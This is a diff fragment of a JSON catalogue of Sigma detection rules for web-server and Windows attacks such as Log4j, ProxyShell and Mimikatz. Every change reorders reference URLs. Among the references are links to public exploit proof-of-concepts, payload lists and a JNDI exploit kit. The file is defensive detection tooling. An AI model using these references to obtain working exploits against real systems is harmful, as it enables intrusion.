"refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml", "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", - "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" + "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784" ], "tags": [ "attack.initial_access", @@ -12426,8 +12424,8 @@ "logsource.category": "webserver", "logsource.product": "windows", "refs": [ - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml", + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c" ], "tags": "No established tags" }, @@ -12447,8 +12445,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml", + "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20" ], "tags": [ "attack.initial_access", @@ -12516,10 +12514,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", - "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" + "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml", + "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/" ], "tags": [ "attack.initial_access", @@ -12544,13 +12542,13 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", - "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", "https://twitter.com/ptswarm/status/1445376079548624899", - "https://twitter.com/h4x0r_dz/status/1445401960371429381", - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", "https://twitter.com/bl4sty/status/1445462677824761878", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" + "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml", + "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", + "https://twitter.com/h4x0r_dz/status/1445401960371429381" ], "tags": [ "attack.initial_access", @@ -12573,9 +12571,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://blog.assetnote.io/2021/11/02/sitecore-rce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml", "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" + "https://blog.assetnote.io/2021/11/02/sitecore-rce/" ], "tags": [ "attack.initial_access", @@ -12623,13 +12621,13 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", "https://github.com/YfryTchsGD/Log4jAttackSurface", "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755" ], "tags": [ "attack.initial_access", @@ -12652,13 +12650,13 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", "https://github.com/YfryTchsGD/Log4jAttackSurface", "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755" ], "tags": [ "attack.initial_access", @@ -12681,10 +12679,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", "https://www.yang99.top/index.php/archives/82/", "https://github.com/vnhacker1337/CVE-2022-27925-PoC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml", + "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/" ], "tags": [ "attack.initial_access", @@ -12757,10 +12755,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml", "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html" ], "tags": [ "attack.initial_access", @@ -12786,9 +12784,9 @@ "refs": [ "https://twitter.com/_0xf4n9x_/status/1572052954538192901", "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", - "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", + "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html" ], "tags": [ "attack.initial_access", @@ -12812,9 +12810,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" ], "tags": [ "attack.initial_access", @@ -12837,10 +12835,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://youtu.be/5mqid-7zp8k?t=2231" ], "tags": [ "attack.initial_access", @@ -12863,9 +12861,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://youtu.be/5mqid-7zp8k?t=2231", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" ], "tags": [ @@ -12914,11 +12912,11 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", - "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", - "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml", "https://twitter.com/httpvoid0x2f/status/1532924261035384832", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" + "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", + "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md" ], "tags": [ "cve.2022.26134", @@ -12941,9 +12939,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/pimps/JNDI-Exploit-Kit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml", "https://githubmemory.com/repo/FunctFan/JNDIExploit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" + "https://github.com/pimps/JNDI-Exploit-Kit" ], "tags": "No established tags" }, @@ -12987,9 +12985,9 @@ "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ - "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml", "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" + "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps" ], "tags": [ "attack.impact", @@ -13013,8 +13011,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml", + "https://github.com/projectdiscovery/nuclei-templates" ], "tags": [ "attack.initial_access", @@ -13037,9 +13035,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml", "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://www.anquanke.com/post/id/226029", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" + "https://www.anquanke.com/post/id/226029" ], "tags": [ "attack.persistence", @@ -13062,8 +13060,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml", + "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/" ], "tags": [ "attack.t1190", @@ -13113,11 +13111,11 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", - "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", - "https://brightsec.com/blog/sql-injection-payloads/", "https://github.com/payloadbox/sql-injection-payload-list", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml", + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", + "https://brightsec.com/blog/sql-injection-payloads/", + "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/" ], "tags": "No established tags" }, @@ -13138,8 +13136,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", "https://github.com/payloadbox/ssti-payloads", + "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" ], "tags": "No established tags" @@ -13160,10 +13158,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml", "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" + "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb" ], "tags": [ "attack.initial_access", @@ -13186,8 +13184,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml", + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/" ], "tags": [ "attack.persistence", @@ -13236,8 +13234,8 @@ "logsource.product": "No established product", "refs": [ "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", - "https://github.com/sensepost/reGeorg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml", + "https://github.com/sensepost/reGeorg" ], "tags": [ "attack.persistence", @@ -13288,8 +13286,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/payloadbox/xss-payload-list", "https://portswigger.net/web-security/cross-site-scripting/contexts", + "https://github.com/payloadbox/xss-payload-list", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" ], "tags": "No established tags" @@ -13312,8 +13310,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml", + "https://tools.thehacker.recipes/mimikatz/modules" ], "tags": [ "attack.s0002", @@ -13343,12 +13341,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/VM_vivisector/status/1217190929330655232", "https://twitter.com/DidierStevens/status/1217533958096924676", - "https://twitter.com/FlemmingRiis/status/1217147415482060800", "https://www.youtube.com/watch?v=ebmW42YYveI", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml", "https://nullsec.us/windows-event-log-audit-cve/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" + "https://twitter.com/VM_vivisector/status/1217190929330655232" ], "tags": [ "attack.execution", @@ -13381,10 +13379,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml", "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" + "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31" ], "tags": [ "attack.resource_development", @@ -13430,9 +13428,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" + "https://twitter.com/mgreen27/status/1558223256704122882" ], "tags": [ "attack.execution" @@ -13454,9 +13452,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" + "https://twitter.com/mgreen27/status/1558223256704122882" ], "tags": [ "attack.execution" @@ -13478,8 +13476,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html" ], "tags": [ "attack.execution" @@ -13550,8 +13548,8 @@ "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" ], "tags": [ @@ -13599,8 +13597,8 @@ "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml", + "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16" ], "tags": [ "attack.persistence" @@ -13648,8 +13646,8 @@ "logsource.product": "windows", "refs": [ "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" ], "tags": [ "attack.execution" @@ -13671,8 +13669,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml", + "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent" ], "tags": [ "attack.t1219" @@ -13694,9 +13692,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml", "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx" ], "tags": [ "attack.defense_evasion", @@ -13719,8 +13717,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://technet.microsoft.com/en-us/library/security/4022344", + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" ], "tags": [ @@ -13794,10 +13792,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml", "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker" ], "tags": [ "attack.execution", @@ -13826,9 +13824,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://twitter.com/malmoeb/status/1535142803075960832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" + "https://twitter.com/malmoeb/status/1535142803075960832" ], "tags": [ "attack.defense_evasion", @@ -13852,8 +13850,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md" ], "tags": [ "attack.defense_evasion", @@ -13953,8 +13951,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://twitter.com/malmoeb/status/1535142803075960832", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml", + "https://twitter.com/malmoeb/status/1535142803075960832" ], "tags": [ "attack.defense_evasion", @@ -13978,9 +13976,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml", "https://twitter.com/SBousseaden/status/1483810148602814466", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log" ], "tags": [ "attack.execution" @@ -14027,8 +14025,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/wdormann/status/1590434950335320065", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log" ], "tags": [ "attack.privilege_escalation", @@ -14051,9 +14049,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml", "https://twitter.com/nas_bench/status/1539679555908141061", - "https://twitter.com/j00sean/status/1537750439701225472", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" + "https://twitter.com/j00sean/status/1537750439701225472" ], "tags": [ "attack.execution" @@ -14075,9 +14073,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" ], "tags": [ "attack.credential_access", @@ -14101,9 +14099,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", "https://twitter.com/gentilkiwi/status/861641945944391680", + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", 